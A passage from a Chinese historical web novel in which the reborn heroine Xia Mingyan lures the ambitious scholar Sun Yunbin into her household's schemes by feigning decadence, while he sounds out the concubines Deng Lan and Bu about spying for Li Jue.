于是,他不仅拿出了钱财以李玦的名义办宴席招待那些想要拉拢的人,他还为李玦献计献策,帮对方拉拢张老将军父子,并且筹划如何向南方的常王表达诚意。 他在做这些的时候着实捏了一把冷汗,因为那时想要在李玦眼看着就要袭爵的时候上这条船的人还真有几个,他不是最有把握的,他是真怕李玦不选他。 好在他想出来的计策虽然大胆,却被李玦采纳了,他才算是一只脚上了端侯府这条船。 不过,因为他给李玦所献的计策并未见成效,李玦又给了他一个经受考验的机会,就是让想法子搭上华靖离,或者能进入钩翊侯府,给他做眼线。 正巧赶上华家要为华青青寻文墨师父,教华青青这样的女子书画不必太高深的本事,这对他来说简直是天赐良机,就算没有李玦的指引,他也一定会来! 而且,孙允斌看着自己的鞋尖笑了一下,要是他能搭上华靖离,搭上钩翊侯府和华家军,他哪儿还需要李玦的提携啊。 李玦和端侯府不过是他能耐和财势不足之下勉强做出的选择,可华靖离和钩翊侯府是他的上上之选! 看看这眼前的府邸就知道了,端侯府到底败落多年,虽说圣上没有收回侯府宅邸,可里面的种种修缮、装点早已不是他们这样的破落户能支撑得起来的了。 反观眼前的钩翊侯府,目之所及,处处精致,一步一景致,十步之内想要叫人来帮忙、服侍,定是能叫得到的,这才是真正的侯府气派! “孙公子,实不相瞒,家妹的文墨师父已经有了人选,况且公婆也有担忧,都希望这人选是家世的。孙公子,你可明白我的意思?” 夏明嫣对着兀自出神的孙允斌幽幽地道,有了上一世的了解,她自然清楚此刻的孙允斌在想些什么。 上一世,李玦跟孙允斌能沆瀣一气,不是因为他们有多志同道合,而是最开始的时候孙允斌能搭上的最有前途的人就是李玦。 之后那是利益与共、下不了船了,不得不在已经开辟了的路上走下去,而刚巧这样走下去还不错,这两个人才没有彻底分道扬镳。 那么,如果能让孙允斌以为他能上并且上了华家这条船呢?她倒是想看看孙允斌这一世能不能成为她和华靖离手里的刀。 “孙公子,你是不是身子不舒服?要不要我让府医过来给你瞧瞧,还是要用些清凉的茶点?” 孙允斌这才回过神儿来,也这才回想起他刚刚听到的好像是华青青不需要他这个文墨师父,而且华家对此已经另有人选了。 有那么一瞬间他还是慌了:“夫人,小生虽然不如年长的文墨师父有资历,可小生讲解诗文、书画和庶务向来深入浅出、通俗易懂。” “不知夫人能否给小生一个机会,让小生同贵府选定的师父比较一番?小生定当尽力……” 夏明嫣都被他这青涩的样子震了一下,不过她很快又反应过来了,这是现在的孙允斌,还不是日后的权相,自然是要比后来青涩许多的。 她扑哧一声笑了出来,抬起手,瞧着纤纤玉指,借招进来的日头看着自己的指甲: “做我小姑子的文墨师父是不行了,可不知孙公子可否愿意做我的文墨师父?我给的束脩可不比我小姑子少,孙公子是有志之士,定然也不想一辈子做哪位内宅女眷的先生。” “只要公子将我教好了,侯爷定然是要谢你的,到时候给你安排个职位,也未可知。” 孙允斌一下子就心动了,可到底有些迟疑,华青青毕竟是个姑娘家,他就算有那么点儿“以色侍人”的意味,也很有限,总能控制在不污了人家姑娘清誉的底线之内。 可是跟在夏明嫣身边就不一样了,少妇怀春,虽然听说华靖离如今沉浸在妾室的温柔乡里,可跟夏明嫣定然是圆了房的。 已经破了身子的妇人,只要不闹出孩子来,还真没准能瞒天过海…… 孙允斌纠结着自己要不要突破底线,与这闺中的怨妇有点什么不清不楚的东西,可想到能搭上华靖离,这风险就值得冒。 而且夏明嫣这样的女人,既然起了这样的心思,就不会只在他这一棵树上吊死,等他有了机会,再寻个更合适的人代替了他就是了。 要是到时候夏明嫣不肯跟他了断,他还可以把祸水引到那后来人的头上,让华靖离只以为夏明嫣和那人有染,把夏明嫣和那人一网打尽。 呵,一个内宅妇人而已,哪里算计得过他! 第361章鱼儿上钩 不过是一介内宅妇人罢了,有幸生在高门人家,又嫁给了华靖离罢了,哪里能算计得过他! 孙允斌想通了之后,立刻躬身行礼,恭敬地道:“小生谨听夫人吩咐,小生不敢为夫人之师,只愿能替夫人分忧、解闷,别无他求。” “别无他求?这世上有无所求的人么?” 夏明嫣听了,笑声像银铃一样响起,听得外面的秋果一个劲儿地给她使眼色想劝她收敛一点,戏别太过了, “孙公子要是真无所求,那我反而不敢留你在身边了。我和侯爷都是坦诚的人,你也别多想,更不用担心侯爷怪罪,日后自有你的前程。” “怎么,进来这么久了,孙公子,你就不打算抬起头正眼看看我么?” 孙允斌心里刚想着难怪李玦不理解夏明嫣和华靖离成婚才这么短时间,怎么就如此伉俪情深、不离不弃了,原来这夫妻两个是各有所属。 早就听闻元京贵胄里多的是玩儿得花的,丈夫纳美妾、养歌舞姬妾和外室,妻子和美貌的小厮厮混,甚至还养了面首,果然所言非虚。 他的思绪还没转过来,就听见夏明嫣叫他抬头,他没来得及多想就听了吩咐,结果一抬眼就对上夏明嫣那张明艳不可方物的脸。 他之前见过夏明月,已然觉得夏明月甚是貌美,可如今看来,夏明月的长相、气质远不如夏明嫣大气。 尤其是有句话叫做相由心生,夏明月大概是出嫁之后处处不顺,现在原本的美貌里杂糅了几丝怨气和戾气,而西安名言却不一样,她的明艳是柔和而明媚的,是真正的艳而不妖,引人注目又不会让人看了之后觉得她太过夺目而感到不舒服。 夏明嫣的样貌本就极好,孙允斌又没见过什么世面,这一眼看得他脸都红了,他的反应又引来夏明嫣一阵笑声。 这一向严正肃然的钩翊侯府一下子就变得不一样了,仿佛大家私下里都是乱着的,原先的那些世人眼中的既有印象不过都是装出来的。 这种认知反而让孙允斌一下子有了真实感,他就说么,哪里真有那么多苦行僧一样严整的人,华靖离在人前的那些表现都是装出来的,所以他才娶了夏明嫣这样的妻子。 这俩人活该成了夫妇,无事时各有所好、各玩儿各的,有事时联手对外,这才符合元京贵胄的形象。 孙允斌出身外戚旁支,虽说很多高门贵胄内宅的事儿他没有经历过甚至也没有亲眼见识过,但他的确听过很多。 还有些是皇室公主、郡主的轶事,那些人只会比夏明嫣和华靖离还要放纵……这样才是对的,一个战功赫赫的侯爷怎么可能入外面那些人所想的那般不好钱财女色? 新产生的认知一旦符合了既有认知,就会更快地被接受。 孙允斌这回再没有不信的,他不顾自己这时已经失态的神情,面色微红地道: “小生学识有限,有幸得到夫人赏识,日后定为夫人效力。夫人的喜乐,就是小生的喜乐,小生愿为夫人效劳。” 夏明嫣给秋果使了个眼色,秋果给孙允斌倒茶时故意将帕子掉在了孙允斌身上,她迅速地将帕子捡起,装出羞涩的样子,还拿那帕子在脸上掩了一下。 这下孙允斌就更是信了,这对儿主仆都是放得开的人,他也就更加放松下来。 其实只要冷静下来想想,现在孙允斌还什么好处都没拿到呢,他不该有这种轻松下来的感觉。 可是他虽是外戚旁支,可心里一直想着能过上嫡支的日子,不,确切地说,他心里一直有一个梦,他想要过上王公贵胄的日子。 正因为他一直没有真正接触过这样的富贵和权势,他才更加渴望得到这些。现在夏明嫣亲手将他带进了这样的日子里,他瞬间便觉得多年夙愿达成了。 这时夏明嫣却不再多做纠缠,而是叫了一个脸生的侍女进来,让她领着孙允斌去见过董氏和华叶峰,那边自然也是安排好了的。 亲眼看着孙允斌出了止戈园,秋果跟做贼一样进来了,声音压得极低地道: “夫人,你刚刚实在是……要是让侯爷和老夫人知道了,那还得了,这也太……” 夏明嫣白了秋果一眼,笑着叹道:“我做什么了?不过是多笑了几声,这屋里就只有咱们两个和他。他为了自己的前途和脸面,是绝不会说出去的。” “难不成你会背叛我说出去?你要是说出去,你我主仆一场,从小一起长大,我是那样的人,你也好不到哪儿去!” 这世上最不会背叛她的就是华靖离和秋果,再就是她的养母沈小娘,她才不信秋果会出卖她。 而且这还真算不得什么把柄,真传出去了,也只会有人说她不够庄重,她可是连手都没让孙允斌碰一下的,就是秋果,孙允斌也只是碰到了她的帕子而已。 这种事儿传出去,算得了什么? 大恒民风开放,对女子的要求也并不严苛,要不然也不会有夏明月这样举止大胆、张扬的名门贵女。 况且为了华靖离的名声考虑,夏明嫣还是很注意分寸的,这些事儿不过是小节,在大事、大节上,她是半点不会含糊的,就像夏明月公然在元京府衙厮打婆母、丈夫这种事儿,她绝对不会做。 秋果灌了自己半壶冷了的茶水才让自己冷静下来,她现在又觉得哪里不对了: “可是……按理说,这位孙公子是个有心计的人,他能想出那种法子用来哄骗青姑娘,怎么会这么容易就上当?” 民风对女子开放,对男子就更是了,李玦再心仪夏明月,外头还是有了孩子,平时更是没少混迹风月场所。 这个孙允斌虽说只是外戚旁支,可也是见过些市面的,不然他不会如此自然地做出引诱华青青的事。 这样一个在这方面有经历的人,怎么就能如此轻易的上钩? 瞧他方才出去时美滋滋、飘飘然的样子,这实在匪夷所思。 第362章人心,纯也,愚也 夏明嫣有些心虚,之前她之所以那般肯定秋果对孙允斌的判断是夹杂了上一世的见闻的,她那时候忘了,现在的孙允斌还是个刚刚见了世面的毛头小子呢。 人的胆子和野心是可以越来越大的,前世孙允斌的胆子就是被李玦一步步地放纵大的。 当然,李玦也不是故意的,主要还是因为他能力不足,后面就控制不住孙允斌了,而孙允斌自己也是有潜质的,后面正是因为见识和磨练多了,才能平步青云、不断向上攀爬。 现在的孙允斌刚刚怀揣着梦想从老家来元京闯荡,他纵使比跟他差不多年纪的人有心机,却远远没有到老谋深算的地步,相反的在有些方面他还保留着一份天真和一份天性。 要不然他也干不出来拿着剩余的家产就直接跑来元京捐官的事儿,更不会轻易就听了李玦的话,来蹚华家这滩浑水。 夏明月没点破这些,只是道:“他是有心机不假,可到底见识少了些。他虽身为外戚亲族,却只是旁支里的富户,没见过这些公侯府里的人是如何过日子的。” “对这样的日子和这份富贵,他这样的人比那些真正穷苦的学子要容易有想法。真正穷苦的人因为见过的富贵更少,他们对富贵的想像也更贫乏,一旦见识了真正的高门和富贵,反而会发现跟自己所想的差距巨大,他们的第一反应就会是反思自己的无知。” “可是他这样的人就不一样了,要说他完全没见过这样的富贵,也不是,他还是听过一些事儿、闻过一些味儿的,这样的人对他的认知很自信,而且满怀期待。” “期待?”秋果不解。 夏明嫣点头:“对,就是期待。很多东西停留在想像里的时候,才是最美好的。不信你就回想一下,当初在卢阳的时候,你想像的回到元京、回到夏家还有我出嫁之后的日子是怎样的。” “你有没有想过一回府楚夫人就要打死沈小娘,就要往我的身世上泼脏水?你有没有想过,要是二姑娘没有力主换亲,我嫁去了端侯府,咱们的日子会是什么光景?这些跟你在卢阳时所想的一样么?” 秋果苦着脸摇了摇头:“不一样,一点都不一样,奴婢那时以为夫人只要听家里的安排,不跟楚夫人和二姑娘做对,之后的日子也会平顺的。” “即便夫人出嫁之后跟府里的人不对付,慢慢的也会好起来的,就算一直有矛盾,也不像端侯府那般复杂……” 对比起来,在卢阳时对元京和夏府的想像简直太美好了。 真论起现实,要是夏明嫣嫁的不是华靖离,还不如在卢阳找个世交人家嫁了,省得受那份罪了。 夏明嫣继续顺着她的话开导她:“你当时一定想着元京的日子怎么都比卢阳好,而我好了,你也一定就好了,就一直期待着回到元京、回到夏家。不光是你,我也是这样想的。” “可一旦有了这样的想法,而发现现实与期待不符的时候,在第一时间,也就是还没来得及痛定思痛和做进一步验证的时候,这个人反而会试图麻痹自己,告诉自己事情不是这样的,这里面是不是有误会。” 要是没有重生,没有看到后面发生的事,在楚氏往她的出身泼脏水和打死沈小娘的时候,她们一开始就能认定了楚氏包藏祸心么? 那还真不大可能,夏明嫣在卢阳时,夏庸早就忘了这个女儿了,要是没有楚氏,她们几人在老宅的日子只会过得更艰辛。 谁都不会相信楚氏从一开始就包藏祸心,而这一切还只是因为她想要拿捏夏明嫣为夏明月所用。 楚氏在夏明嫣面前一直是慈母和恩人,其实她不做这些事儿,夏明嫣也会帮着夏明月的,哪里需要做这些阴私功夫。 上一世,夏明嫣不是没有怀疑过楚氏,可她那时还处在怀疑和相信之间,不能确定。 她那时还在怀疑是不是有人挑拨离间,是不是有别人故意散布了谣言,沈小娘为何会被打死,是不是施刑的下人下手重了,而楚氏身为正室,打死了一个出身奴婢的贱妾,是不是跟她本身轻贱贱妾有关,而不是阴谋算计…… 夏明嫣给她刚才说的话下了结语,“你我虽然在卢阳待了十几年,可对府里还是有印象的,加上身边年长的嬷嬷、侍女都是府里出来的,他们更曾是府里的老人,他们说府里好,我们自然会愿意听他们的话。” “我们先有了这样的认知,接着就在这样的基础上把这种认知想像得更好,就好像元京和将来的夫家是世间福地似的。” “当我们刚开始发现事情好像不像我们所想的那样的时候,刚开始都是不会相信的,我们会以为这当中是不是有什么误会。” “总之,我们那么多年的期待不会错,错了,也就意味着我们否定了曾经的自己。可是,你有没有想过,要是我们回来之后一帆风顺,又会是怎样一番情景呢?” 事事顺遂的话,夏家一团和气,夏明嫣有父亲和祖母疼爱,继母纵使没把她当亲生女儿看待,也事事不差什么,未必帮她,却也不会害她。 然后姐妹一团和气,还有一个书生意气的嫡出阿弟前程可期,将来遇上事儿了,他就是她们姐妹的依靠…… 这样的话,作为夏明嫣身边的人,陪着她出嫁,将来再不济也是到了年纪被安排嫁人,就算嫁个庄子上的农户,也能平平淡淡、平平安安地把日子过下去。 秋果若有所思地点头:“奴婢懂了,若是回来时一切都好,哪怕没有想像中的好,只要是好的,就是咱们从前的期待成真了,那就塌下心来过日子了。” “谁都不会想那些有的没的,就算楚夫人对你的好是装出来的,只要她还没有动作,我们就不会怀疑她背后的那些谋算。” “是了。” 夏明嫣微微一笑,又把话岔回到孙允斌身上,“孙公子也是这么想的,他的出身让他见过一些富贵,也让他对这种勋贵之家的富贵充满了想像和期待。” “他想像出来的那些东西究竟有多少是真的都不重要,重要的是他相信这些已经很久了,久到他不会轻易否定自己的想像和这些年用在维持这份想像上的付出。” 第363章这条船好上,不好下 夏明嫣玩味地道:“他相信元京高门男女都是这样的,表面上端肃严整,背地里道貌岸人、投机取巧,一个比一个地会玩儿。” “我若是告诉他,至少侯爷和钩翊侯府就是这样表里如一的,他反而会不愿意相信,怀疑我们在他面前表现出来都是装的。” “但要是我告诉他,我们平素表现出来的都是假的,背地里就是他想像中的那种人。侯爷贪财、好色,养庶产,才成婚不久就纳美妾。” “而我么,一个女人,年华正好,样貌也生的不错,不得父母宠爱,却也是尚书千金,不想才新婚不久,夫君就纳妾了,我能不苦闷么?我苦闷了,就要去玩儿。” “我这样的家世,夫君对不起我,他为了我们之间和两家之间的和睦,是不是应该多包容、放纵我一些?我只是得空见几个俊俏男子,让他们陪陪我,又不是真要干什么出格的事儿,应该也不过分吧。” 秋果连连点头,可她的担心一点儿都没少: “可是……现在能骗得住他,时间长了,他要是发现你就是看看,侯爷也没那么贪,那该怎么办?总不能为了骗他一个,就弄假成真吧?” 夏明嫣笑笑:“这世上没有一劳永逸的事儿,当然不可能骗他一辈子,可是骗了他一时,拖延了时间,等到他反应过来的时候,让他下不了船,不就行了?” “何况他虽然只是外戚旁支,可也是读圣贤书长大,他跟李世子不一样,他家里虽指望着他出头,他却也没有背负太多,现在他还没有那么不择手段。” “要是走正道也能成功,他又何必铤而走险呢。我们先骗着他,等到他回不了头了,那边不要他了,他也发现跟着我们才是有前程的,不也很好么。” 孙允斌小时候虽然也有振兴家族的梦想,但这种心愿就跟这世上大多数人想把日子过得更好,没多大区别。 而李玦那是先得让圣上原谅了老端侯的罪责,再将那些宝物拿出来还不获罪,还得重建李家军……他的胆子比一般人都要重。 因此,孙允斌远没有李玦那么苦大仇深,他一开始想要捐官,也只是相对那些科考入仕的学子们来说有那么一点不光彩而已,但这条路在当下也是入仕的正常渠道,只是这样做了之后,以后不容易身居高位罢了。 当下,这样做的人还真不少,尤其是那些高门和大小管家举业上不行的子弟,还有那些想入仕皇商、大商贾家的子弟,经常有这样做的,捐官根本不算一件出奇的事。 孙允斌是因为身世被忌讳,连捐官的路都走不通了,又被人奚落、拒绝了一番,才机缘巧合地上了李玦这条船的。 当然,不能说孙允斌骨子里是个多好的人,他当然是一个有野心又卑劣的人,可他毕竟还想要维持他后族的脸面和荣光,他现在所谓的野心也还没到出将入相的地步,不过是做个小官家而已…… 要是给他指一条不需要做那般卑劣的事就能成功的路,一条不用像李玦那样依靠裙带向上爬的路,他又何必跟着李玦一条道走到黑呢? 这时候的孙允斌正在府里挨门儿拜访,他亲眼目睹了华叶峰在自己的院子练武,用的兵器一看就是名匠所制,而他喝水用的玉盏,一看就并非凡品。 董氏,那么一个容貌寻常的老妇,打扮得金尊玉贵的,旁边两个给她捏脚的侍女都十分亮眼,放在其他人家定是美妾。 尤其这董氏看见他还仔细打量了两遍,对一旁服侍的华靖离的妾室道: “瞧瞧这小子模样多周正,瞧着就养眼,我那儿媳妇真是个会享受的。你啊,别太过了,要懂分寸,知道吗?” 这些话臊得孙允斌差点下不来台,他不知道的是,董氏能说出这番话是经过夏明嫣恳求的,要不然她得比他更臊得慌。 是邓澜也就是现在的邓小娘送孙允斌出来的,弄得孙允斌怪不好意思的,他到底是个年轻外男,让一个年轻贵妾送他出来,也不怕他们之间有什么。 “邓小娘慢行,小生这就去前头向侯夫人复命了。”孙允斌还特意跟邓澜拉开了些距离,用来表示他是个守礼之人。 邓澜本身就是个含蓄、腼腆的人,她要演好夏明嫣的戏本子,自然有自己的方式。 当下她也没怪罪孙允斌带给她的尴尬,反而盈盈一笑道:“孙公子客气了,你可千万不要被这府里的事儿吓着,妾刚进府时也着实吓了一跳呢。” 她压低了声音,像是要向他卖个人情似的,“侯爷对夫人着实宠爱,可为了子嗣,心里总是有几分愧疚的。公子与妾不过都是想谋个前途的人,都是知道分寸的,对吧?” 孙允斌被人当面点破那点不堪的心思,尽管对方用的方式还算隐晦,他也被臊得不行,连忙否认道: “邓小娘多虑了,小生并无逾矩之事,只是帮着侯夫人做些抄写文书的杂事罢了,担心被人无端说了闲话,侯夫人才命小生来见见各位,以便让各位释疑。” “不知邓小娘可是端侯府的表亲?小生之前到端侯府拜访时,似乎与小娘有一面之缘。” 他自以为这也是帮夏明嫣把面子圆回去呢,又可以试探邓澜和李玦的实际关系,他之前已经打听过了,知道邓澜在元京府衙就跟李玦闹掰了。 可谁知道这是不是只是表面的事,万一邓澜跟他一样都是受了李玦的指派,到钩翊侯府来做间者的呢? 李玦满怀期待地看着邓澜,这时候只要她一个暗示、一个眼神,他就能确定自己在这钩翊侯府中并不孤独了,而他以后在这里也将多一个帮手。 要想借用端侯府的人脉,孙允斌就得听李玦的,可他毕竟是个读书人,虽说他这书读得不算太好,可到底也是个要脸的人。 如果有可能,他显然想用刚好、更正当的方式达到目的,因为就在刚刚,他已经开始发现自己做不到像李玦那样顺着裙带往上爬了。 第364章拉关系,套近乎 这一路走来,孙允斌都想过了,这钩翊侯府远比端侯府要精致、富贵的多,而且处处透着底蕴,这可比已经破败了的端侯府好太多了。 端侯府和李玦更该是他的跳板才对,等到他搭上了华靖离,他还跟着李玦这样的人做什么? 孙允斌看问题还是有些见底的,说华家不如那些世家和文臣家里底蕴,董氏庸俗,华叶峰什么事儿都不管,早就不管事儿了,也不能说贪图享乐,但游手好闲。 华靖离私下里经营庶产得当,对妻妾、家人都颇为大方,私下里听说也收藏了不少名匠兵器,所耗不菲,说他贪财、好武一点都不为过。 夏明嫣刚出嫁,不过及笄年纪,在男女之事上,倒是跟她那个同父异母的妹妹夏明月还是有点像的,只不过她是表面上一本正经,背地里玩儿得花。 孙允斌在心里戏谑地轻哼一声,那个夏明月也是表面上对李玦一片深情,其实只要她过得稍微不如意一些,身边又有个俊俏、知情知意的少年郎,她随时都可能会转投他人怀抱。 这个夏明嫣比夏明月坦诚,想要收拢几个模样好的才俊在身边,就这么把人带到府里来了,想来也就是在身边陪侍着,也不会真有那种事儿,也算是有分寸、有理智…… 这一家子人虽然有不堪和虚伪的地方,可这高门之中但凡在场面上行走的,又有谁一点都不虚伪? 以他的眼光来看,钩翊侯府简直比端侯府那边好太多了,不管人家私下里为人如何,人家正在做的事儿和以后要做的事儿都是光明正大的,不需要避着人,没什么不能对人说的。 再看看端侯府,李玦游说他时用的都是“有大事相商”、“日后飞黄腾达”这样的话,至于究竟要干什么,哪怕有一个大致的方向都好。 可偏偏李玦嘴里一句实话都没有,稍微问深一点,他眼底的防备之色就浓重起来,恨不得把别人当作死敌一样防备起来。 跟着这样不知根不知底的人做事,要是事情不好,恐怕不仅连命都保不住,还得死得不明不白的。 就算事情成了,他作为共谋者,却从一开始就含含糊糊的、什么都不清楚,可见没有把他当作自己人。 就算后面对他坦诚心迹了,也能从侧面说明,以他的能耐和背景,这事儿他不好掌控……这样的事,就算最终成了,他也分不到多少好处。 利益划分这种事是很复杂的,并不是你做了多少事就能拿到多少好处的,这个人本身有多大势力、对之后事态有多大影响都很重要。 他很清楚自己的情况,要是按这么分,能不能值回他付出的那些辛苦都不一定,而钩翊侯府这边就不一样了。 华靖离是给朝廷做事儿的,他那些庶产也不是见不得光的,元京这些高门几乎家家都庶产丰厚…… 对这些见得了光的利益划分,虽说也不是完全公平的,但总比那些见不得光的强,而且也没那么危险。 他出身后族旁支,不是那等不畏生死的军户,家里也没出过什么火中取栗的乱世枭雄,他年纪轻轻的,还没有为了荣华富贵舍生忘死的决心…… 孙允斌看着眼前和和气气的邓澜,笑得温煦而平和,邓澜跟夏明嫣、夏明月不一样,她身上有一种暖人暖心的平和美感,让人忍不住想对她亲近一些。 见邓澜笑盈盈地看着他也不说话,孙允斌装出忐忑、羞涩地样子,压低了声音道: “邓小娘不必紧张,小生之前有幸去过端侯府李世子的婚宴,邓小娘是李世子的表妹,那时也去了吧?小生似乎在那里见过你,不知有没有看错……” 邓澜多看了孙允斌一眼,先不说这人有没有被请去参加婚宴,就算他真去了,也不可能看到她,因为她根本就没去。 她是曾经跟李玦有过婚约的人,那时候婚书还没送回去,她要是去了得多尴尬,她跟她父亲躲还来不及呢,哪儿敢到婚宴上跟夏明月和夏家对上。 邓澜说不好孙允斌这么说是为了套近乎,还是在诈她,无论如何她都选了一个实话实说地方式回答: “孙公子,你一定是记错了,表兄的婚仪,我没有去,这里面有些事儿……想必表兄不会跟你说,可是如今这元京的大街小巷也该传遍了,我就不多说了。” “你若是跟表兄有交情,如今要来这钩翊侯府做事,你可得小心些了。倒不是什么大事儿,侯爷在别的事儿上不是一个计较的人,只不过是这件事最近闹得太大了。” “这件事还牵扯到了二公子,你要是动不动把跟他的交情挂在嘴边,是会触霉头的。” 孙允斌自然听说了那些事儿,外面传的是李玦为了羞辱夏家,曾经跟邓澜短暂地定过亲,后来大概是疏忽了,以至于李玦都跟夏明月成亲了,那份婚书也没拿出来。 可是这件事在孙允斌眼中却不是这样的,邓澜和她父亲也不是傻子,他们一开始就清楚夏家的实力有多强,至少比他们父女俩强的多。 这种情况下,他们都敢跟端侯府把婚事定下来,可见是贪慕眼前这份富贵的,那么后来李玦娶夏明月的时候,那份没有收回去的婚书就不是被遗忘的,而应该是被他们父女刻意扣下的。 而邓澜也定是跟李玦有私情的,后来邓澜能搭上华靖离,即便是他们父女自己找的出路,她就真能跟李玦断了? 邓澜进府是做妾室的,这华靖离将来也不知道还会有多少妾室,说不定哪天她就失宠了。她想到这些,能不给自己留条后路吗? 邓澜定是不会跟李玦完全断了的,就算她不是李玦安排到华靖离身边的眼线,她也会给李玦通些消息,才好留住这条后路。 这不,他才刚说几句,邓澜就开是提点他了,可见她还是对跟端侯府有关系的人留有善意的。 孙允斌连忙拱手,佯装客气地道:“多谢小娘提点,这种事儿小生一个男子,是断然不会学那些碎嘴之人到处乱说的。” “不过……既然如此,小娘跟李世子毕竟还连着亲呢,这样侯爷会不会介意……” 第365章眼线接头 邓澜尴尬了一下,看起来是被他说中了:“孙公子心思细腻,难怪能入了夫人的眼。不过,这元京高门娶妻纳妾的有很多时候都是亲上加亲的,但凡有点不快就想要避开,也是不能的。” “何况侯爷跟李世子毕竟做了那么多年的兄弟了,闹出这么大的事儿,面上是不好再像从那般了,心里倒也没有那么的绝情。” “有些事儿把握好分寸,侯爷是不会计较的。关键是得能把差事办好,我么,就是服侍好侯爷和老夫人还有主母,你啊,让夫人高兴就行。” “别怪我没提醒你,夫人掌握着府中中馈,你要想在钩翊侯府过得舒服些,得先让她满意才行。” 邓澜露出些许难以琢磨的表情,孙允斌见她肯说这些,想来不会介意再多说一些,见他们待的地方一直没人过来,便谦虚地请教道: “小娘快多与小生说些这府里的门道,这夫人……小生瞧着侯爷对她甚好,怎么就肯让小生……去服侍呢?她就不怕会跟侯爷生了嫌隙吗?” 邓澜露出一种类似讪笑的表情,把声音压到极低才道: “念在你跟表兄有些交情的份上,我就多说几句。侯爷是极宠夫人的,不仅是因为夫人这个人,还因为夏家,可是侯爷他对夫人有愧。” 她见孙允斌好像还不明白,像是怪他笨似的,“具体的我也不清楚,但似乎夫人生不了孩子。我跟另一个马上要进门的妹妹,都得来服侍老夫人。” “我说到这儿也够了,不管你能不能弄明白,事情就是这么回事儿,回头可别说是我告诉你的。” 孙允斌满口答应,状似不经意地问道:“府上是不是还有一位老姨娘,就是二公子的生母,不知她这个人可好相处?” 邓澜假装没留意到他的反常,淡淡地道:“卜小娘?她没什么好说的,二公子在吕家的事儿上得了教训,之后行事就比从前谨慎了,再是不肯听生母在耳边瞎嘀咕的。” “她就住西院儿,不过你去不去拜访她都没关系,她就是个无关紧要的人……行了,我那儿还有事儿,你请便吧,以后遇上难事儿了,也可以来找我。” “就算我帮不上你,也能给你参详一二。你想跟着侯爷做事是好事儿,可是你一介书生,侯爷那儿的事儿多半都是沙场上的事儿,刀剑无眼,你也多为自己考量考量。” 邓澜说完,生怕走晚了被别人看到说他们过从甚密,只留下孙允斌一人在那儿呆愣地站着。 孙允斌原想着邓澜也是李玦的眼线,如今看来却不是,这二人最多只是亲戚之谊未断,肯提点他几句罢了。 要是他想让邓澜做眼线,继续为端侯府做事,定是要花不少功夫的。 不过,邓澜这个人进可用,退也可以用,要是他在华家有需要帮忙的地方,只要不过分,不危害到她自己的利益,她应该也会帮忙的。 现在关键是卜小娘,试探邓澜是不是眼线,是他自己的决定,可卜小娘却的确是李玦的眼线,这是来之前李玦亲口告诉他的。 许是听到了风声,没等孙允斌登门拜访,卜小娘自己就出来赏花了,二人在后花园里遇上了。 卜小娘也拿不准李玦之前传信来说的人是不是孙允斌,只能兀自说了句约定好的话: “那个后生,你哪儿的人?怎么在这府里?可是南边儿来的亲戚?” 孙允斌是南方人,要是人对的话,这么问不容易出差错,说是亲戚则是暗指他们都跟端侯府有关。 孙允斌一看卜小娘的形貌与之前听说的差不多,再看衣饰打扮和年纪,便知道差不多了,赶紧迎了上去。 卜小娘风韵犹存,其实还是一位美妇,可在孙允斌眼里,她只是一位长辈。 孙允斌早就知道卜小娘是先太后身边的人,先太后生前是他们孙氏一族的支柱,卜小娘自然是他的长辈了。 于是,孙允斌上去就向卜小娘见了礼,这儿没别人,他直接行的是晚辈对长辈的礼,一点没在意卜小娘的妾室身份。 “见过卜夫人,小生是先太后的侄孙,日后没人的时候,小生只将卜夫人当作长辈对待。您若是有何吩咐,只管跟小生说。” 卜小娘对孙允斌的态度很满意,可是也多少有些遗憾,其实她跟先太后是两辈人,在华家这些年也保养得很好,并不见多少老态,如今在孙允斌口中竟像个老太太似的。 卜小娘有些遗憾,语气也就淡了些:“你就是孙公子?我听说过你,怎么来了元京不说去看看孙氏的族亲,也不来看看我,倒是登了端侯府的门了?” “这……就是碰巧了,刚巧遇见孙公子肯提携小生。”这话问得孙允斌一愣,他刚才心里对卜小娘的尊重顿时减弱了几分。 他不去找那些孙氏族人,自然是知道那些人不待见他,而且那些人如今大多也已经迁出了元京。 留下的那些也被当今圣上管束得没了半点生气,不过是拿着银钱只管过一天算一天的空架子罢了,哪里能在前程上帮得上他。 至于卜小娘,先太后生前身边亲近的宫人有好几个,好几个都是在宫外指了婚的,这都是好多年前的事儿了,这些人究竟嫁了谁,如今是生是死……他一个旁支哪里会知道得这么清楚。 事实上,卜小娘这个人的确是李玦说起他才知道的,不然他根本就不知道还有这么个人。 更别说即便他知道又如何,他一个旁支子弟,小时候都没进过宫,更是跟卜小娘没有半点交集。 他冒然来元京,也不可能指望卜小娘能帮他,还特地来深宅大院拜访一个老妾……以他从前所受的教养,他平素里反而还要避着这样的人的。 卜小娘好歹在宫里待过几年,还是在先太后身边服侍的,之后虽然为妾,嫁的却也是上一代的钩翊侯,怎么就只有这点见识了? 孙允斌那叫一个失望,好在他很会维持表面的体面,“小生早就听闻先太后身边有位姑姑嫁给了老华侯,这些年还帮过族人不少忙,原是想来拜访卜夫人的,只是之前被一些琐事耽误了。” 第366章徐娘半老 一声“卜夫人”已经让卜小娘先就满意了几分,听闻这般言论,她很快便信了孙允斌是真心敬重她的。 尤其是她嫁给华叶峰的这些年其实并没有管过孙家的事,她姓卜,又不姓殷,是先太后身边的人不假,可她其实算不上先太后的心腹。 先太后生前是有一个心腹,嫁给了前任右相,先太后虽不方便收那心腹为义女,却是先让自己的叔父收其位义女之后,才将她嫁给右相的。 现在那位右相已经过世,他的夫人已随同儿女和夫家亲族回了老家,而孙家那边,前几年还听说,是跟那位夫人有往来的。 而卜小娘却不一样,她只是服侍过先太后的二等宫女而已,从前先太后健在时,逢年过节她尚且能跟着董氏进宫请安,后来她连进宫都不必了。 跟孙家那边的来往,大概只有逢年过节钩翊侯府送去的表礼罢了,这一点钩翊侯府对元京其他高门并无二致,孙家那边自然对她也不会有多少印象。 这种情况下,孙允斌居然还能记得有她这么一个人,说明他这个人不仅为人处事颇为周道,现在他们两人又都跟端侯府那边做了交易,将来他少不得还得敬着她。 卜小娘有好些年没被这样当作台面上的人物尊重过了,她目光带着笑意地道: “好了,不过是随口一问,你山长水远地从南边过来,一路辛苦。不过你这个年纪的郎君辛苦一点也是值得的,以后咱们两个遇上端侯府的事儿,要知道配合才好。” 孙允斌点头应是:“不知世子是怎么跟卜夫人说的,可是要小生做什么?他倒是只跟小生说,让小生留意钩翊侯府的情况,伺机互通消息。” 